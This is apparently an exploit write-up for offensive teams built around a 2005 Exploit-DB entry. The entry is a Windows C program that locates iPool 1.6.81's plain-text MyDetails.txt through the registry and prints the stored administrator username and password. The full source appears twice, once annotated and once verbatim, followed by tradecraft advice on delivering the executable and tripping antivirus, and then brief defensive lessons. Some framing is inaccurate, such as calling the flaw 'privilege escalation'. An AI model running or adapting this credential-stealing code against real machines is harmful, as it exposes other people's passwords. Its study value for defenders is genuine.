iPool 1.6.81 Local Password Disclosure: A Deep Dive for Offensive Teams

iPool 1.6.81 Local Password Disclosure: A Deep Dive for Offensive Teams
What this paper is
This paper details a local privilege escalation vulnerability in iPool version 1.6.81. The exploit, discovered and coded by Kozan, leverages the application's insecure handling of user credentials to read the administrator's password from a plain-text file. This allows a local user with low privileges to obtain the iPool administrator password.
Simple technical breakdown
The iPool application, specifically version 1.6.81, stores user credentials, including the administrator's password, in a plain-text file named MyDetails.txt. This file is located within the application's installation directory. The exploit works by:
- Locating the installation directory: It queries the Windows Registry to find the
ProgramFilesDirvalue, which tells it where applications are typically installed. - Constructing the password file path: It appends the known relative path to the
MyDetails.txtfile (\ThePoolClub\iPool\MyDetails.txt) to theProgramFilesDir. - Reading the password file: It opens
MyDetails.txtand reads the first two lines. The first line is treated as the username, and the second line is treated as the password. - Displaying credentials: The extracted username and password are then printed to the console.
Complete code and payload walkthrough
The provided C code is a self-contained exploit that runs on Windows. It doesn't contain traditional shellcode in the sense of executable bytes designed to be injected into another process. Instead, its "payload" is the act of reading and displaying the sensitive information.
/*****************************************************************
iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan
Application: iPool 1.6.81
Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com
Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
HKEY hKey; // Handle for Windows Registry key
#define BUFSIZE 100 // Define a buffer size for strings
char prgfiles[BUFSIZE]; // Buffer to store the Program Files directory path
DWORD dwBufLen=BUFSIZE; // Variable to store the actual size of data read from registry
LONG lRet; // Variable to store the return value of registry functions
int main()
{
// Attempt to open the Windows Registry key for querying values
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, // Root key: Local Machine
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", // Subkey path
0, // Reserved, must be zero
KEY_QUERY_VALUE, // Access rights: Query values
&hKey) == ERROR_SUCCESS) // Check if opening the key was successful
{
// Query the value of "ProgramFilesDir" from the opened registry key
lRet = RegQueryValueEx( hKey, // Handle to the registry key
"ProgramFilesDir", // Name of the value to query
NULL, // Type of the value (not needed here)
NULL, // Buffer size (not needed here)
(LPBYTE) prgfiles, // Buffer to receive the value data
&dwBufLen); // Size of the buffer
// Check if the query was successful and if the data fits in our buffer
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey); // Close the registry key handle
printf("An error occured. Can't get password!\n"); // Print error message
return -1; // Exit with an error code
}
RegCloseKey(hKey); // Close the registry key handle
}
else // If RegOpenKeyEx failed
{
printf("An error occured. Can't get password!\n"); // Print error message
return -1; // Exit with an error code
}
// Print exploit information
printf("\n\niPool 1.6.81 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("kozan@netmagister.com\n");
printf("www.netmagister.com - www.spyinstructors.com\n\n");
char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE]; // Declare buffers for file path, username, and password
// Construct the full path to the password file
// strcat modifies the first string in place, so prgfiles will now contain the full path
strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));
int addr, i, y; // Declare variables for file operations and loops
FILE *fp; // File pointer
char ch[100], ch2[100]; // Temporary buffers to read characters
// Attempt to open the password file in binary read mode
if((fp=fopen(pwdfile,"rb")) == NULL)
{
printf("An error occured. Can't get password!\n"); // Print error if file cannot be opened
return -1; // Exit with an error code
}
fseek(fp,0,0); // Move the file pointer to the beginning of the file
// Read the username
for(i=0;i<30;i++) // Loop up to 30 characters
{
ch[i]=getc(fp); // Read a single character from the file
if(ch[i]==0x0D) // Check if the character is Carriage Return (CR, \r)
{
ch[i]=NULL; // Null-terminate the character array to make it a C-string
strcpy(username,ch); // Copy the read characters into the username buffer
break; // Exit the loop
}
}
addr = ftell(fp); // Get the current file pointer position (after the username and CR)
fseek(fp,addr+1,0); // Move the file pointer past the CR character (0x0D) and the subsequent LF character (0x0A)
// Read the password
for(y=0;y<30;y++) // Loop up to 30 characters
{
ch2[y]=getc(fp); // Read a single character from the file
if(ch2[y]==0x0D) // Check if the character is Carriage Return (CR, \r)
{
ch2[y]=NULL; // Null-terminate the character array
strcpy(password,ch2); // Copy the read characters into the password buffer
break; // Exit the loop
}
}
fclose(fp); // Close the password file
// Print the extracted credentials
printf("Username : %s\n",username);
printf("Password : %s\n",password);
return 0; // Exit successfully
}
// milw0rm.com [2005-03-16]Code Fragment/Block -> Practical Purpose:
#include <stdio.h>,#include <string.h>,#include <windows.h>: Standard C library includes for input/output, string manipulation, and Windows API functions.HKEY hKey;: A handle used to interact with a specific registry key.#define BUFSIZE 100: Defines a constant for buffer sizes, ensuring consistent memory allocation for strings.char prgfiles[BUFSIZE];: A character array (string buffer) to store the path to the Program Files directory.DWORD dwBufLen=BUFSIZE;: A variable to hold the size of the data being read from the registry. It's initialized toBUFSIZEand updated byRegQueryValueExwith the actual size.LONG lRet;: A variable to store the return status code from Windows API functions, particularly registry operations.int main(): The entry point of the C program.RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey): This Windows API function attempts to open a specific registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion).KEY_QUERY_VALUEspecifies that we only need read access to query values. If successful, it returnsERROR_SUCCESSand populateshKeywith a handle to the opened key.lRet = RegQueryValueEx(hKey, "ProgramFilesDir", NULL, NULL, (LPBYTE)prgfiles, &dwBufLen);: This function queries the value of a specific registry entry ("ProgramFilesDir") associated with thehKey. It stores the retrieved data (the path to the Program Files directory) into theprgfilesbuffer and updatesdwBufLenwith the actual size of the data.if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ): Error checking. It verifies ifRegQueryValueExfailed (lRet != ERROR_SUCCESS) or if the retrieved data was too large for our buffer (dwBufLen > BUFSIZE).RegCloseKey(hKey);: Closes the registry key handle, releasing system resources. This is crucial to avoid resource leaks.printf(...): Standard C function to print output to the console. Used here for displaying exploit information and error messages.char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];: Declares three character arrays to store the full path to the password file, the extracted username, and the extracted password, respectively.strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));: This line constructs the full path to the sensitive file.strcatappends the relative path to theprgfilesbuffer (which already contains the Program Files directory path).strcpythen copies this combined path into thepwdfilebuffer.FILE *fp;: Declares a file pointer, which is used to manage file operations.char ch[100], ch2[100];: Temporary buffers used to read characters from the file before they are copied intousernameandpassword.if((fp=fopen(pwdfile,"rb")) == NULL): Attempts to open the file specified bypwdfilein binary read mode ("rb"). If the file doesn't exist or cannot be opened,fopenreturnsNULL, and an error message is printed.fseek(fp,0,0);: Sets the file position indicator to the beginning of the file (offset 0 from the beginning).for(i=0;i<30;i++) { ch[i]=getc(fp); if(ch[i]==0x0D) { ch[i]=NULL; strcpy(username,ch); break; } }: This loop reads characters from the file one by one usinggetc(fp). It stops when it encounters a Carriage Return character (0x0D, which is part of the Windows newline sequence\r\n). The characters read before the0x0Dare copied into theusernamebuffer after null-termination.addr = ftell(fp);: Gets the current position of the file pointer. This will be immediately after the0x0Dcharacter.fseek(fp,addr+1,0);: Advances the file pointer by one byte. This is to skip over the0x0Dcharacter and position the pointer at the start of the next line (which is typically0x0A, the Line Feed character in Windows).for(y=0;y<30;y++) { ch2[y]=getc(fp); if(ch2[y]==0x0D) { ch2[y]=NULL; strcpy(password,ch2); break; } }: Similar to the username reading loop, this reads characters for the password until a Carriage Return (0x0D) is found, then copies them into thepasswordbuffer.fclose(fp);: Closes the opened file, releasing the file handle and associated resources.printf("Username : %s\n",username); printf("Password : %s\n",password);: Prints the extracted username and password to the console.return 0;: Indicates successful program execution.return -1;: Indicates an error occurred during execution.
Shellcode/Payload Segment Explanation:
There is no traditional shellcode in this exploit. The "payload" is the execution of the C program itself, which performs the following actions:
- Information Gathering (Registry Query): The program uses Windows API calls (
RegOpenKeyEx,RegQueryValueEx) to find the installation path of the iPool application by querying theProgramFilesDirregistry value. This is a reconnaissance step. - File Path Construction: It concatenates the known relative path of the password file (
\ThePoolClub\iPool\MyDetails.txt) to the retrieved Program Files directory. - Sensitive Data Extraction (File Read): It opens and reads the
MyDetails.txtfile. The exploit assumes the file format isusername\r\npassword\r\n.... It reads characters until the first\rfor the username and then reads characters until the next\rfor the password. - Credential Disclosure: The extracted username and password are printed to the standard output.
Practical details for offensive operations teams
- Required Access Level: Local user access. The attacker needs to be able to log in to the target Windows machine. No administrative privileges are required to run this exploit.
- Lab Preconditions:
- A Windows machine with iPool version 1.6.81 (or a version with the same vulnerability) installed.
- The iPool application must have been configured, and a user account with a password must exist, leading to the creation of the
MyDetails.txtfile. - The
MyDetails.txtfile must be readable by the local user running the exploit.
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit source code on the target or a staging machine.
- The compiled executable needs to be transferred to the target.
- Execution Pitfalls:
- iPool Not Installed: If iPool 1.6.81 is not installed, the
fopencall will fail. - Incorrect iPool Version: If a different version of iPool is installed, the
MyDetails.txtfile might be in a different location or have a different format, causing the exploit to fail. - File Permissions: If the
MyDetails.txtfile is not readable by the user running the exploit,fopenwill fail. - Registry Key Missing: If the
ProgramFilesDirregistry value is missing or inaccessible, the exploit cannot determine the installation path. - File Format Changes: If the
MyDetails.txtfile format changes (e.g., uses different delimiters or encryption), the parsing logic will break. - Antivirus/EDR: While the exploit itself is simple file reading, the act of compiling and running a custom executable might trigger AV/EDR solutions. The exploit doesn't use any obfuscation or evasion techniques.
- iPool Not Installed: If iPool 1.6.81 is not installed, the
- Tradecraft Considerations:
- Reconnaissance: Confirm the presence and version of iPool on the target. Look for installation directories.
- Payload Delivery: The compiled
.exeneeds to be delivered. This could be via social engineering, existing access, or other means. - Execution: Run the
.exeon the target. - Credential Handling: The output is plain text. Ensure secure handling of extracted credentials.
- Persistence: This exploit is for immediate credential disclosure, not persistence.
- Likely Failure Points:
RegOpenKeyExorRegQueryValueExfailing to retrieveProgramFilesDir.fopenfailing to openMyDetails.txtdue to non-existence, incorrect path, or permissions.- The file format of
MyDetails.txtnot matching the expectedusername\r\npassword\r\nstructure.
Where this was used and when
- Context: This exploit targets a specific vulnerability in the iPool application, likely used by individuals or organizations managing pool halls or similar facilities that used this software.
- Timeframe: The exploit was published on March 16, 2005. Therefore, its active use would have been around this period, and potentially for a few years afterward until the vulnerable version was phased out or patched. It's unlikely to be effective against modern systems unless an extremely old and unpatched installation of iPool 1.6.81 is still in use.
Defensive lessons for modern teams
- Secure Credential Storage: Never store passwords in plain-text files. Use secure hashing algorithms (like bcrypt, scrypt, or Argon2) with salts for storing passwords. For sensitive administrative credentials, consider more robust solutions like dedicated secrets management systems.
- Input Validation and Sanitization: Applications should not rely on fixed file paths or formats that can be easily predicted or manipulated.
- Principle of Least Privilege: Ensure that application files and sensitive data are only readable by necessary system accounts, not by all local users.
- Regular Patching and Updates: Keep all software, including third-party applications like iPool, updated to the latest versions to mitigate known vulnerabilities.
- File Integrity Monitoring: Implement monitoring for changes to critical configuration files or the creation of unexpected plain-text files containing sensitive data.
- Registry Hardening: While
ProgramFilesDiris a standard registry value, be cautious about what applications can query and write to the registry. - Application Security Audits: Regularly audit custom or third-party applications for common vulnerabilities like insecure data storage, buffer overflows, and injection flaws.
ASCII visual (if applicable)
This exploit is a simple client-side local program. A flow diagram is more appropriate than a complex architecture diagram.
+-----------------------+
| Local User Machine |
| |
| +-------------------+ |
| | Exploit Program | |
| | (iPool_Exploit.exe)| |
| +-------------------+ |
| | |
| v |
| +-------------------+ |
| | Windows Registry | |
| | (HKEY_LOCAL_MACHINE| |
| | \SOFTWARE\...) | |
| +-------------------+ |
| | |
| v |
| +-------------------+ |
| | File System | |
| | (C:\Program Files\| |
| | \ThePoolClub\...) | |
| | +-------------+ | |
| | | MyDetails.txt| | |
| | +-------------+ | |
| +-------------------+ |
| | |
| v |
| +-------------------+ |
| | Console Output | |
| | (Username/Password)| |
| +-------------------+ |
+-----------------------+Source references
- Paper URL: https://www.exploit-db.com/papers/885
- Raw Exploit URL: https://www.exploit-db.com/raw/885
- Exploit-DB Entry: PAPER ID: 885, PAPER TITLE: iPool 1.6.81 - Local Password Disclosure, AUTHOR: Kozan, PUBLISHED: 2005-03-16
Original Exploit-DB Content (Verbatim)
/*****************************************************************
iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan
Application: iPool 1.6.81
Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com
Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured. Can't get password!\n");
return -1;
}
RegCloseKey(hKey);
}
else
{
printf("An error occured. Can't get password!\n");
return -1;
}
printf("\n\niPool 1.6.81 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("kozan@netmagister.com\n");
printf("www.netmagister.com - www.spyinstructors.com\n\n");
char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];
strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));
int addr, i, y;
FILE *fp;
char ch[100], ch2[100];
if((fp=fopen(pwdfile,"rb")) == NULL)
{
printf("An error occured. Can't get password!\n");
return -1;
}
fseek(fp,0,0);
for(i=0;i<30;i++)
{
ch[i]=getc(fp);
if(ch[i]==0x0D)
{
ch[i]=NULL;
strcpy(username,ch);
break;
}
}
addr = ftell(fp);
fseek(fp,addr+1,0);
for(y=0;y<30;y++)
{
ch2[y]=getc(fp);
if(ch2[y]==0x0D)
{
ch2[y]=NULL;
strcpy(password,ch2);
break;
}
}
fclose(fp);
printf("Username : %s\n",username);
printf("Password : %s\n",password);
return 0;
}
// milw0rm.com [2005-03-16]